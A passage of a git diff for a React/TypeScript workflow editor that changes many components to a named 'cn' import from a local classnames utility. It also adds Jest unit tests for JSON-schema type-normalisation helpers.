 } from '@/app/components/base/portal-to-follow-elem'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import type {
   ComparisonOperator,
   MetadataFilteringVariableType,
diff --git a/web/app/components/workflow/nodes/knowledge-retrieval/components/metadata/condition-list/condition-value-method.tsx b/web/app/components/workflow/nodes/knowledge-retrieval/components/metadata/condition-list/condition-value-method.tsx
index 917cb0e099..562cda76e4 100644
--- a/web/app/components/workflow/nodes/knowledge-retrieval/components/metadata/condition-list/condition-value-method.tsx
+++ b/web/app/components/workflow/nodes/knowledge-retrieval/components/metadata/condition-list/condition-value-method.tsx
@@ -7,7 +7,7 @@ import {
   PortalToFollowElemTrigger,
 } from '@/app/components/base/portal-to-follow-elem'
 import Button from '@/app/components/base/button'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 export type ConditionValueMethodProps = {
   valueMethod?: string
diff --git a/web/app/components/workflow/nodes/knowledge-retrieval/components/metadata/condition-list/index.tsx b/web/app/components/workflow/nodes/knowledge-retrieval/components/metadata/condition-list/index.tsx
index 4b129f4c31..49da29ce7b 100644
--- a/web/app/components/workflow/nodes/knowledge-retrieval/components/metadata/condition-list/index.tsx
+++ b/web/app/components/workflow/nodes/knowledge-retrieval/components/metadata/condition-list/index.tsx
@@ -1,6 +1,6 @@
 import { RiLoopLeftLine } from '@remixicon/react'
 import ConditionItem from './condition-item'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import type { MetadataShape } from '@/app/components/workflow/nodes/knowledge-retrieval/types'
 import { LogicalOperator } from '@/app/components/workflow/nodes/knowledge-retrieval/types'
 
diff --git a/web/app/components/workflow/nodes/knowledge-retrieval/components/metadata/metadata-icon.tsx b/web/app/components/workflow/nodes/knowledge-retrieval/components/metadata/metadata-icon.tsx
index 4a3f539ef4..4c327ce882 100644
--- a/web/app/components/workflow/nodes/knowledge-retrieval/components/metadata/metadata-icon.tsx
+++ b/web/app/components/workflow/nodes/knowledge-retrieval/components/metadata/metadata-icon.tsx
@@ -5,7 +5,7 @@ import {
   RiTimeLine,
 } from '@remixicon/react'
 import { MetadataFilteringVariableType } from '@/app/components/workflow/nodes/knowledge-retrieval/types'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type MetadataIconProps = {
   type?: MetadataFilteringVariableType
diff --git a/web/app/components/workflow/nodes/knowledge-retrieval/components/retrieval-config.tsx b/web/app/components/workflow/nodes/knowledge-retrieval/components/retrieval-config.tsx
index 619216d672..80587b864f 100644
--- a/web/app/components/workflow/nodes/knowledge-retrieval/components/retrieval-config.tsx
+++ b/web/app/components/workflow/nodes/knowledge-retrieval/components/retrieval-config.tsx
@@ -5,7 +5,7 @@ import { RiEqualizer2Line } from '@remixicon/react'
 import { useTranslation } from 'react-i18next'
 import type { MultipleRetrievalConfig, SingleRetrievalConfig } from '../types'
 import type { ModelConfig } from '../../../types'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import {
   PortalToFollowElem,
   PortalToFollowElemContent,
diff --git a/web/app/components/workflow/nodes/list-operator/components/extract-input.tsx b/web/app/components/workflow/nodes/list-operator/components/extract-input.tsx
index 38931f074a..66f23829e8 100644
--- a/web/app/components/workflow/nodes/list-operator/components/extract-input.tsx
+++ b/web/app/components/workflow/nodes/list-operator/components/extract-input.tsx
@@ -5,7 +5,7 @@ import { useTranslation } from 'react-i18next'
 import { VarType } from '../../../types'
 import type { Var } from '../../../types'
 import useAvailableVarList from '@/app/components/workflow/nodes/_base/hooks/use-available-var-list'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Input from '@/app/components/workflow/nodes/_base/components/input-support-select-var'
 
 type Props = {
diff --git a/web/app/components/workflow/nodes/list-operator/components/filter-condition.tsx b/web/app/components/workflow/nodes/list-operator/components/filter-condition.tsx
index 4030b8df1e..a51aefe9c6 100644
--- a/web/app/components/workflow/nodes/list-operator/components/filter-condition.tsx
+++ b/web/app/components/workflow/nodes/list-operator/components/filter-condition.tsx
@@ -12,7 +12,7 @@ import { SimpleSelect as Select } from '@/app/components/base/select'
 import BoolValue from '../../../panel/chat-variable-panel/components/bool-value'
 import Input from '@/app/components/workflow/nodes/_base/components/input-support-select-var'
 import useAvailableVarList from '@/app/components/workflow/nodes/_base/hooks/use-available-var-list'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { VarType } from '../../../types'
 
 const optionNameI18NPrefix = 'workflow.nodes.ifElse.optionName'
diff --git a/web/app/components/workflow/nodes/list-operator/components/limit-config.tsx b/web/app/components/workflow/nodes/list-operator/components/limit-config.tsx
index b8812d3473..6a54eac8ab 100644
--- a/web/app/components/workflow/nodes/list-operator/components/limit-config.tsx
+++ b/web/app/components/workflow/nodes/list-operator/components/limit-config.tsx
@@ -4,7 +4,7 @@ import React, { useCallback } from 'react'
 import { useTranslation } from 'react-i18next'
 import type { Limit } from '../types'
 import InputNumberWithSlider from '../../_base/components/input-number-with-slider'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Field from '@/app/components/workflow/nodes/_base/components/field'
 import Switch from '@/app/components/base/switch'
 
diff --git a/web/app/components/workflow/nodes/list-operator/components/sub-variable-picker.tsx b/web/app/components/workflow/nodes/list-operator/components/sub-variable-picker.tsx
index 88e1067c6d..9d835436d9 100644
--- a/web/app/components/workflow/nodes/list-operator/components/sub-variable-picker.tsx
+++ b/web/app/components/workflow/nodes/list-operator/components/sub-variable-picker.tsx
@@ -6,7 +6,7 @@ import { SUB_VARIABLES } from '../../constants'
 import type { Item } from '@/app/components/base/select'
 import { SimpleSelect as Select } from '@/app/components/base/select'
 import { Variable02 } from '@/app/components/base/icons/src/vender/solid/development'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type Props = {
   value: string
diff --git a/web/app/components/workflow/nodes/llm/components/config-prompt.tsx b/web/app/components/workflow/nodes/llm/components/config-prompt.tsx
index 35ea2fed68..d44d299bc4 100644
--- a/web/app/components/workflow/nodes/llm/components/config-prompt.tsx
+++ b/web/app/components/workflow/nodes/llm/components/config-prompt.tsx
@@ -10,7 +10,7 @@ import { EditionType, PromptRole } from '../../../types'
 import useAvailableVarList from '../../_base/hooks/use-available-var-list'
 import { useWorkflowStore } from '../../../store'
 import ConfigPromptItem from './config-prompt-item'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Editor from '@/app/components/workflow/nodes/_base/components/prompt/editor'
 import AddButton from '@/app/components/workflow/nodes/_base/components/add-button'
 import { DragHandle } from '@/app/components/base/icons/src/vender/line/others'
diff --git a/web/app/components/workflow/nodes/llm/components/json-schema-config-modal/code-editor.tsx b/web/app/components/workflow/nodes/llm/components/json-schema-config-modal/code-editor.tsx
index 384776f671..3ca2162206 100644
--- a/web/app/components/workflow/nodes/llm/components/json-schema-config-modal/code-editor.tsx
+++ b/web/app/components/workflow/nodes/llm/components/json-schema-config-modal/code-editor.tsx
@@ -1,7 +1,7 @@
 import React, { type FC, useCallback, useEffect, useMemo, useRef } from 'react'
 import useTheme from '@/hooks/use-theme'
 import { Theme } from '@/types/app'
-import classNames from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { Editor } from '@monaco-editor/react'
 import { RiClipboardLine, RiIndentIncrease } from '@remixicon/react'
 import copy from 'copy-to-clipboard'
@@ -112,7 +112,7 @@ const CodeEditor: FC<CodeEditorProps> = ({
   }, [])
 
   return (
-    <div className={classNames('flex h-full flex-col overflow-hidden bg-components-input-bg-normal', hideTopMenu && 'pt-2', className)}>
+    <div className={cn('flex h-full flex-col overflow-hidden bg-components-input-bg-normal', hideTopMenu && 'pt-2', className)}>
       {!hideTopMenu && (
         <div className='flex items-center justify-between pl-2 pr-1 pt-1'>
           <div className='system-xs-semibold-uppercase py-0.5 text-text-secondary'>
@@ -142,7 +142,7 @@ const CodeEditor: FC<CodeEditorProps> = ({
         </div>
       )}
       {topContent}
-      <div className={classNames('relative overflow-hidden', editorWrapperClassName)}>
+      <div className={cn('relative overflow-hidden', editorWrapperClassName)}>
         <Editor
           defaultLanguage='json'
           theme={isMounted ? editorTheme : 'default-theme'} // sometimes not load the default theme
diff --git a/web/app/components/workflow/nodes/llm/components/json-schema-config-modal/error-message.tsx b/web/app/components/workflow/nodes/llm/components/json-schema-config-modal/error-message.tsx
index 6e8a2b2fad..937165df1c 100644
--- a/web/app/components/workflow/nodes/llm/components/json-schema-config-modal/error-message.tsx
+++ b/web/app/components/workflow/nodes/llm/components/json-schema-config-modal/error-message.tsx
@@ -1,7 +1,7 @@
 import React from 'react'
 import type { FC } from 'react'
 import { RiErrorWarningFill } from '@remixicon/react'
-import classNames from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type ErrorMessageProps = {
   message: string
@@ -12,10 +12,8 @@ const ErrorMessage: FC<ErrorMessageProps> = ({
   className,
 }) => {
   return (
-    <div className={classNames(
-      'mt-1 flex gap-x-1 rounded-lg border-[0.5px] border-components-panel-border bg-toast-error-bg p-2',
-      className,
-    )}>
+    <div className={cn('mt-1 flex gap-x-1 rounded-lg border-[0.5px] border-components-panel-border bg-toast-error-bg p-2',
+      className)}>
       <RiErrorWarningFill className='h-4 w-4 shrink-0 text-text-destructive' />
       <div className='system-xs-medium max-h-12 grow overflow-y-auto whitespace-pre-line break-words text-text-primary'>
         {message}
diff --git a/web/app/components/workflow/nodes/llm/components/json-schema-config-modal/json-importer.tsx b/web/app/components/workflow/nodes/llm/components/json-schema-config-modal/json-importer.tsx
index 463d87d7d1..41539ec605 100644
--- a/web/app/components/workflow/nodes/llm/components/json-schema-config-modal/json-importer.tsx
+++ b/web/app/components/workflow/nodes/llm/components/json-schema-config-modal/json-importer.tsx
@@ -1,6 +1,6 @@
 import React, { type FC, useCallback, useEffect, useRef, useState } from 'react'
 import { PortalToFollowElem, PortalToFollowElemContent, PortalToFollowElemTrigger } from '@/app/components/base/portal-to-follow-elem'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { useTranslation } from 'react-i18next'
 import { RiCloseLine } from '@remixicon/react'
 import Button from '@/app/components/base/button'
diff --git a/web/app/components/workflow/nodes/llm/components/json-schema-config-modal/json-schema-generator/index.tsx b/web/app/components/workflow/nodes/llm/components/json-schema-config-modal/json-schema-generator/index.tsx
index 1a4eb3cfdb..2671858628 100644
--- a/web/app/components/workflow/nodes/llm/components/json-schema-config-modal/json-schema-generator/index.tsx
+++ b/web/app/components/workflow/nodes/llm/components/json-schema-config-modal/json-schema-generator/index.tsx
@@ -10,7 +10,7 @@ import type { CompletionParams, Model } from '@/types/app'
 import { ModelModeType } from '@/types/app'
 import { Theme } from '@/types/app'
 import { SchemaGeneratorDark, SchemaGeneratorLight } from './assets'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import PromptEditor from './prompt-editor'
 import GeneratedResult from './generated-result'
 import { useGenerateStructuredOutputRules } from '@/service/use-common'
diff --git a/web/app/components/workflow/nodes/llm/components/json-schema-config-modal/schema-editor.tsx b/web/app/components/workflow/nodes/llm/components/json-schema-config-modal/schema-editor.tsx
index 2497dec188..6ba59320b7 100644
--- a/web/app/components/workflow/nodes/llm/components/json-schema-config-modal/schema-editor.tsx
+++ b/web/app/components/workflow/nodes/llm/components/json-schema-config-modal/schema-editor.tsx
@@ -1,6 +1,6 @@
 import React, { type FC } from 'react'
 import CodeEditor from './code-editor'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import LargeDataAlert from '@/app/components/workflow/variable-inspect/large-data-alert'
 
 type SchemaEditorProps = {
diff --git a/web/app/components/workflow/nodes/llm/components/json-schema-config-modal/visual-editor/edit-card/auto-width-input.tsx b/web/app/components/workflow/nodes/llm/components/json-schema-config-modal/visual-editor/edit-card/auto-width-input.tsx
index af4a82c772..19dc478e83 100644
--- a/web/app/components/workflow/nodes/llm/components/json-schema-config-modal/visual-editor/edit-card/auto-width-input.tsx
+++ b/web/app/components/workflow/nodes/llm/components/json-schema-config-modal/visual-editor/edit-card/auto-width-input.tsx
@@ -1,6 +1,6 @@
 import React, { useEffect, useState } from 'react'
 import type { FC } from 'react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type AutoWidthInputProps = {
   value: string
diff --git a/web/app/components/workflow/nodes/llm/components/json-schema-config-modal/visual-editor/edit-card/index.tsx b/web/app/components/workflow/nodes/llm/components/json-schema-config-modal/visual-editor/edit-card/index.tsx
index 2733fcc11f..643bc2ef13 100644
--- a/web/app/components/workflow/nodes/llm/components/json-schema-config-modal/visual-editor/edit-card/index.tsx
+++ b/web/app/components/workflow/nodes/llm/components/json-schema-config-modal/visual-editor/edit-card/index.tsx
@@ -9,7 +9,7 @@ import Actions from './actions'
 import AdvancedActions from './advanced-actions'
 import AdvancedOptions, { type AdvancedOptionsType } from './advanced-options'
 import { useTranslation } from 'react-i18next'
-import classNames from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { useVisualEditorStore } from '../store'
 import { useMittContext } from '../context'
 import { useUnmount } from 'ahooks'
@@ -255,7 +255,7 @@ const EditCard: FC<EditCardProps> = ({
       </div>
 
       {(fields.description || isAdvancedEditing) && (
-        <div className={classNames('flex', isAdvancedEditing ? 'p-2 pt-1' : 'px-2 pb-1')}>
+        <div className={cn('flex', isAdvancedEditing ? 'p-2 pt-1' : 'px-2 pb-1')}>
           <input
             value={currentFields.description}
             className='system-xs-regular placeholder:system-xs-regular h-4 w-full p-0 text-text-tertiary caret-[#295EFF] outline-none placeholder:text-text-placeholder'
diff --git a/web/app/components/workflow/nodes/llm/components/json-schema-config-modal/visual-editor/edit-card/type-selector.tsx b/web/app/components/workflow/nodes/llm/components/json-schema-config-modal/visual-editor/edit-card/type-selector.tsx
index 84d75e1ada..c4d381613d 100644
--- a/web/app/components/workflow/nodes/llm/components/json-schema-config-modal/visual-editor/edit-card/type-selector.tsx
+++ b/web/app/components/workflow/nodes/llm/components/json-schema-config-modal/visual-editor/edit-card/type-selector.tsx
@@ -3,7 +3,7 @@ import type { ArrayType, Type } from '../../../../types'
 import type { FC } from 'react'
 import { useState } from 'react'
 import { RiArrowDownSLine, RiCheckLine } from '@remixicon/react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 export type TypeItem = {
   value: Type | ArrayType
diff --git a/web/app/components/workflow/nodes/llm/components/json-schema-config-modal/visual-editor/index.tsx b/web/app/components/workflow/nodes/llm/components/json-schema-config-modal/visual-editor/index.tsx
index d96f856bbb..f0f8bb2093 100644
--- a/web/app/components/workflow/nodes/llm/components/json-schema-config-modal/visual-editor/index.tsx
+++ b/web/app/components/workflow/nodes/llm/components/json-schema-config-modal/visual-editor/index.tsx
@@ -2,7 +2,7 @@ import type { FC } from 'react'
 import type { SchemaRoot } from '../../../types'
 import SchemaNode from './schema-node'
 import { useSchemaNodeOperations } from './hooks'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 export type VisualEditorProps = {
   className?: string
diff --git a/web/app/components/workflow/nodes/llm/components/json-schema-config-modal/visual-editor/schema-node.tsx b/web/app/components/workflow/nodes/llm/components/json-schema-config-modal/visual-editor/schema-node.tsx
index 4c20232df4..ec7b355085 100644
--- a/web/app/components/workflow/nodes/llm/components/json-schema-config-modal/visual-editor/schema-node.tsx
+++ b/web/app/components/workflow/nodes/llm/components/json-schema-config-modal/visual-editor/schema-node.tsx
@@ -1,7 +1,7 @@
 import type { FC } from 'react'
 import React, { useMemo, useState } from 'react'
 import { type Field, Type } from '../../../types'
-import classNames from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { RiArrowDropDownLine, RiArrowDropRightLine } from '@remixicon/react'
 import { getFieldType, getHasChildren } from '../../../utils'
 import Divider from '@/app/components/base/divider'
@@ -92,12 +92,10 @@ const SchemaNode: FC<SchemaNodeProps> = ({
 
   return (
     <div className='relative'>
-      <div className={classNames('relative z-10', indentPadding[depth])}>
+      <div className={cn('relative z-10', indentPadding[depth])}>
         {depth > 0 && hasChildren && (
-          <div className={classNames(
-            'absolute top-0 z-10 flex h-7 w-5 items-center bg-background-section-burn px-0.5',
-            indentLeft[depth - 1],
-          )}>
+          <div className={cn('absolute top-0 z-10 flex h-7 w-5 items-center bg-background-section-burn px-0.5',
+            indentLeft[depth - 1])}>
             <button
               type="button"
               onClick={handleExpand}
@@ -140,14 +138,12 @@ const SchemaNode: FC<SchemaNodeProps> = ({
         </div>
       </div>
 
-      <div className={classNames(
-        'absolute z-0 flex w-5 justify-center',
+      <div className={cn('absolute z-0 flex w-5 justify-center',
         schema.description ? 'top-12 h-[calc(100%-3rem)]' : 'top-7 h-[calc(100%-1.75rem)]',
-        indentLeft[depth],
-      )}>
+        indentLeft[depth])}>
         <Divider
           type='vertical'
-          className={classNames('mx-0', isHovering ? 'bg-divider-deep' : 'bg-divider-subtle')}
+          className={cn('mx-0', isHovering ? 'bg-divider-deep' : 'bg-divider-subtle')}
         />
       </div>
 
diff --git a/web/app/components/workflow/nodes/llm/components/prompt-generator-btn.tsx b/web/app/components/workflow/nodes/llm/components/prompt-generator-btn.tsx
index a2b96535fa..60b910dc3e 100644
--- a/web/app/components/workflow/nodes/llm/components/prompt-generator-btn.tsx
+++ b/web/app/components/workflow/nodes/llm/components/prompt-generator-btn.tsx
@@ -2,7 +2,7 @@
 import type { FC } from 'react'
 import React, { useCallback } from 'react'
 import { useBoolean } from 'ahooks'
-import cn from 'classnames'
+import { cn } from '@/utils/classnames'
 import { Generator } from '@/app/components/base/icons/src/vender/other'
 import { ActionButton } from '@/app/components/base/action-button'
 import GetAutomaticResModal from '@/app/components/app/configuration/config/automatic/get-automatic-res'
diff --git a/web/app/components/workflow/nodes/llm/components/structure-output.tsx b/web/app/components/workflow/nodes/llm/components/structure-output.tsx
index b20820df2e..ee31a9e5ad 100644
--- a/web/app/components/workflow/nodes/llm/components/structure-output.tsx
+++ b/web/app/components/workflow/nodes/llm/components/structure-output.tsx
@@ -7,7 +7,7 @@ import { type SchemaRoot, type StructuredOutput, Type } from '../types'
 import ShowPanel from '@/app/components/workflow/nodes/_base/components/variable/object-child-tree-panel/show'
 import { useBoolean } from 'ahooks'
 import JsonSchemaConfigModal from './json-schema-config-modal'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { useTranslation } from 'react-i18next'
 
 type Props = {
diff --git a/web/app/components/workflow/nodes/loop/add-block.tsx b/web/app/components/workflow/nodes/loop/add-block.tsx
index 9e2fa5b555..d86d9f83cb 100644
--- a/web/app/components/workflow/nodes/loop/add-block.tsx
+++ b/web/app/components/workflow/nodes/loop/add-block.tsx
@@ -12,7 +12,7 @@ import {
   useNodesReadOnly,
 } from '../../hooks'
 import type { LoopNodeType } from './types'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import BlockSelector from '@/app/components/workflow/block-selector'
 
 import type {
diff --git a/web/app/components/workflow/nodes/loop/components/condition-list/condition-item.tsx b/web/app/components/workflow/nodes/loop/components/condition-list/condition-item.tsx
index 3f51217991..0ecae8f052 100644
--- a/web/app/components/workflow/nodes/loop/components/condition-list/condition-item.tsx
+++ b/web/app/components/workflow/nodes/loop/components/condition-list/condition-item.tsx
@@ -32,7 +32,7 @@ import type {
   Var,
 } from '@/app/components/workflow/types'
 import { VarType } from '@/app/components/workflow/types'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { SimpleSelect as Select } from '@/app/components/base/select'
 import { Variable02 } from '@/app/components/base/icons/src/vender/solid/development'
 import ConditionVarSelector from './condition-var-selector'
diff --git a/web/app/components/workflow/nodes/loop/components/condition-list/condition-operator.tsx b/web/app/components/workflow/nodes/loop/components/condition-list/condition-operator.tsx
index 9036e04d3b..49c1d6e64f 100644
--- a/web/app/components/workflow/nodes/loop/components/condition-list/condition-operator.tsx
+++ b/web/app/components/workflow/nodes/loop/components/condition-list/condition-operator.tsx
@@ -13,7 +13,7 @@ import {
   PortalToFollowElemTrigger,
 } from '@/app/components/base/portal-to-follow-elem'
 import type { VarType } from '@/app/components/workflow/types'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 const i18nPrefix = 'workflow.nodes.ifElse'
 
 type ConditionOperatorProps = {
diff --git a/web/app/components/workflow/nodes/loop/components/condition-list/index.tsx b/web/app/components/workflow/nodes/loop/components/condition-list/index.tsx
index 987452dd5e..8cfcc5d811 100644
--- a/web/app/components/workflow/nodes/loop/components/condition-list/index.tsx
+++ b/web/app/components/workflow/nodes/loop/components/condition-list/index.tsx
@@ -16,7 +16,7 @@ import type {
   Node,
   NodeOutPutVar,
 } from '@/app/components/workflow/types'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type ConditionListProps = {
   isSubVariable?: boolean
diff --git a/web/app/components/workflow/nodes/loop/components/condition-number-input.tsx b/web/app/components/workflow/nodes/loop/components/condition-number-input.tsx
index ee13894459..a13fbef011 100644
--- a/web/app/components/workflow/nodes/loop/components/condition-number-input.tsx
+++ b/web/app/components/workflow/nodes/loop/components/condition-number-input.tsx
@@ -15,7 +15,7 @@ import {
   PortalToFollowElemTrigger,
 } from '@/app/components/base/portal-to-follow-elem'
 import Button from '@/app/components/base/button'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import VarReferenceVars from '@/app/components/workflow/nodes/_base/components/variable/var-reference-vars'
 import type {
   NodeOutPutVar,
diff --git a/web/app/components/workflow/nodes/loop/components/condition-wrap.tsx b/web/app/components/workflow/nodes/loop/components/condition-wrap.tsx
index 7aef364658..6812554767 100644
--- a/web/app/components/workflow/nodes/loop/components/condition-wrap.tsx
+++ b/web/app/components/workflow/nodes/loop/components/condition-wrap.tsx
@@ -12,7 +12,7 @@ import { useGetAvailableVars } from '../../variable-assigner/hooks'
 import ConditionList from './condition-list'
 import ConditionAdd from './condition-add'
 import { SUB_VARIABLES } from './../default'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Button from '@/app/components/base/button'
 import { PortalSelect as Select } from '@/app/components/base/select'
 
diff --git a/web/app/components/workflow/nodes/loop/insert-block.tsx b/web/app/components/workflow/nodes/loop/insert-block.tsx
index 66d51956ba..57eef5d17a 100644
--- a/web/app/components/workflow/nodes/loop/insert-block.tsx
+++ b/web/app/components/workflow/nodes/loop/insert-block.tsx
@@ -3,7 +3,7 @@ import {
   useCallback,
   useState,
 } from 'react'
-import cn from 'classnames'
+import { cn } from '@/utils/classnames'
 import { useNodesInteractions } from '../../hooks'
 import type {
   BlockEnum,
diff --git a/web/app/components/workflow/nodes/loop/node.tsx b/web/app/components/workflow/nodes/loop/node.tsx
index 57be10be6e..feacb2ec4d 100644
--- a/web/app/components/workflow/nodes/loop/node.tsx
+++ b/web/app/components/workflow/nodes/loop/node.tsx
@@ -12,7 +12,7 @@ import { LoopStartNodeDumb } from '../loop-start'
 import { useNodeLoopInteractions } from './use-interactions'
 import type { LoopNodeType } from './types'
 import AddBlock from './add-block'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 import type { NodeProps } from '@/app/components/workflow/types'
 
diff --git a/web/app/components/workflow/nodes/parameter-extractor/components/extract-parameter/import-from-tool.tsx b/web/app/components/workflow/nodes/parameter-extractor/components/extract-parameter/import-from-tool.tsx
index 7b8354f6d5..af2efad075 100644
--- a/web/app/components/workflow/nodes/parameter-extractor/components/extract-parameter/import-from-tool.tsx
+++ b/web/app/components/workflow/nodes/parameter-extractor/components/extract-parameter/import-from-tool.tsx
@@ -7,7 +7,7 @@ import {
 import { useTranslation } from 'react-i18next'
 import BlockSelector from '../../../../block-selector'
 import type { Param, ParamType } from '../../types'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import type {
   PluginDefaultValue,
   ToolDefaultValue,
diff --git a/web/app/components/workflow/nodes/question-classifier/components/class-list.tsx b/web/app/components/workflow/nodes/question-classifier/components/class-list.tsx
index 6b9c75bacb..e4300008ec 100644
--- a/web/app/components/workflow/nodes/question-classifier/components/class-list.tsx
+++ b/web/app/components/workflow/nodes/question-classifier/components/class-list.tsx
@@ -10,7 +10,7 @@ import type { Topic } from '@/app/components/workflow/nodes/question-classifier/
 import type { ValueSelector, Var } from '@/app/components/workflow/types'
 import { ReactSortable } from 'react-sortablejs'
 import { noop } from 'lodash-es'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { RiDraggable } from '@remixicon/react'
 import { ArrowDownRoundFill } from '@/app/components/base/icons/src/vender/solid/general'
 
diff --git a/web/app/components/workflow/nodes/start/components/var-item.tsx b/web/app/components/workflow/nodes/start/components/var-item.tsx
index e51cd79734..6bce5d0f0f 100644
--- a/web/app/components/workflow/nodes/start/components/var-item.tsx
+++ b/web/app/components/workflow/nodes/start/components/var-item.tsx
@@ -13,7 +13,7 @@ import { Edit03 } from '@/app/components/base/icons/src/vender/solid/general'
 import Badge from '@/app/components/base/badge'
 import ConfigVarModal from '@/app/components/app/configuration/config-var/config-modal'
 import { noop } from 'lodash-es'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type Props = {
   className?: string
diff --git a/web/app/components/workflow/nodes/start/components/var-list.tsx b/web/app/components/workflow/nodes/start/components/var-list.tsx
index 44d6e389e2..4b5177bb3e 100644
--- a/web/app/components/workflow/nodes/start/components/var-list.tsx
+++ b/web/app/components/workflow/nodes/start/components/var-list.tsx
@@ -7,7 +7,7 @@ import VarItem from './var-item'
 import { ChangeType, type InputVar, type MoreInfo } from '@/app/components/workflow/types'
 import { ReactSortable } from 'react-sortablejs'
 import { RiDraggable } from '@remixicon/react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { hasDuplicateStr } from '@/utils/var'
 import Toast from '@/app/components/base/toast'
 
diff --git a/web/app/components/workflow/nodes/tool/__tests__/output-schema-utils.test.ts b/web/app/components/workflow/nodes/tool/__tests__/output-schema-utils.test.ts
new file mode 100644
index 0000000000..54f3205e81
--- /dev/null
+++ b/web/app/components/workflow/nodes/tool/__tests__/output-schema-utils.test.ts
@@ -0,0 +1,280 @@
+import { VarType } from '@/app/components/workflow/types'
+import {
+  normalizeJsonSchemaType,
+  pickItemSchema,
+  resolveVarType,
+} from '../output-schema-utils'
+
+// Mock the getMatchedSchemaType dependency
+jest.mock('../../_base/components/variable/use-match-schema-type', () => ({
+  getMatchedSchemaType: (schema: any) => {
+    // Return schema_type or schemaType if present
+    return schema?.schema_type || schema?.schemaType || undefined
+  },
+}))
+
+describe('output-schema-utils', () => {
+  describe('normalizeJsonSchemaType', () => {
+    it('should return undefined for null or undefined schema', () => {
+      expect(normalizeJsonSchemaType(null)).toBeUndefined()
+      expect(normalizeJsonSchemaType(undefined)).toBeUndefined()
+    })
+
+    it('should return the type directly for simple string type', () => {
+      expect(normalizeJsonSchemaType({ type: 'string' })).toBe('string')
+      expect(normalizeJsonSchemaType({ type: 'number' })).toBe('number')
+      expect(normalizeJsonSchemaType({ type: 'boolean' })).toBe('boolean')
+      expect(normalizeJsonSchemaType({ type: 'object' })).toBe('object')
+      expect(normalizeJsonSchemaType({ type: 'array' })).toBe('array')
+      expect(normalizeJsonSchemaType({ type: 'integer' })).toBe('integer')
+    })
+
+    it('should handle array type with nullable (e.g., ["string", "null"])', () => {
+      expect(normalizeJsonSchemaType({ type: ['string', 'null'] })).toBe('string')
+      expect(normalizeJsonSchemaType({ type: ['null', 'number'] })).toBe('number')
+      expect(normalizeJsonSchemaType({ type: ['object', 'null'] })).toBe('object')
+    })
+
+    it('should handle oneOf schema', () => {
+      expect(normalizeJsonSchemaType({
+        oneOf: [
+          { type: 'string' },
+          { type: 'null' },
+        ],
+      })).toBe('string')
+    })
+
+    it('should handle anyOf schema', () => {
+      expect(normalizeJsonSchemaType({
+        anyOf: [
+          { type: 'number' },
+          { type: 'null' },
+        ],
+      })).toBe('number')
+    })
+
+    it('should handle allOf schema', () => {
+      expect(normalizeJsonSchemaType({
+        allOf: [
+          { type: 'object' },
+        ],
+      })).toBe('object')
+    })
+
+    it('should infer object type from properties', () => {
+      expect(normalizeJsonSchemaType({
+        properties: {
+          name: { type: 'string' },
+        },
+      })).toBe('object')
+    })
+
+    it('should infer array type from items', () => {
+      expect(normalizeJsonSchemaType({
+        items: { type: 'string' },
+      })).toBe('array')
+    })
+
+    it('should return undefined for empty schema', () => {
+      expect(normalizeJsonSchemaType({})).toBeUndefined()
+    })
+  })
+
+  describe('pickItemSchema', () => {
+    it('should return undefined for null or undefined schema', () => {
+      expect(pickItemSchema(null)).toBeUndefined()
+      expect(pickItemSchema(undefined)).toBeUndefined()
+    })
+
+    it('should return undefined if no items property', () => {
+      expect(pickItemSchema({ type: 'array' })).toBeUndefined()
+      expect(pickItemSchema({})).toBeUndefined()
+    })
+
+    it('should return items directly if items is an object', () => {
+      const itemSchema = { type: 'string' }
+      expect(pickItemSchema({ items: itemSchema })).toBe(itemSchema)
+    })
+
+    it('should return first item if items is an array (tuple schema)', () => {
+      const firstItem = { type: 'string' }
+      const secondItem = { type: 'number' }
+      expect(pickItemSchema({ items: [firstItem, secondItem] })).toBe(firstItem)
+    })
+  })
+
+  describe('resolveVarType', () => {
+    describe('primitive types', () => {
+      it('should resolve string type', () => {
+        const result = resolveVarType({ type: 'string' })
+        expect(result.type).toBe(VarType.string)
+      })
+
+      it('should resolve number type', () => {
+        const result = resolveVarType({ type: 'number' })
+        expect(result.type).toBe(VarType.number)
+      })
+
+      it('should resolve integer type', () => {
+        const result = resolveVarType({ type: 'integer' })
+        expect(result.type).toBe(VarType.integer)
+      })
+
+      it('should resolve boolean type', () => {
+        const result = resolveVarType({ type: 'boolean' })
+        expect(result.type).toBe(VarType.boolean)
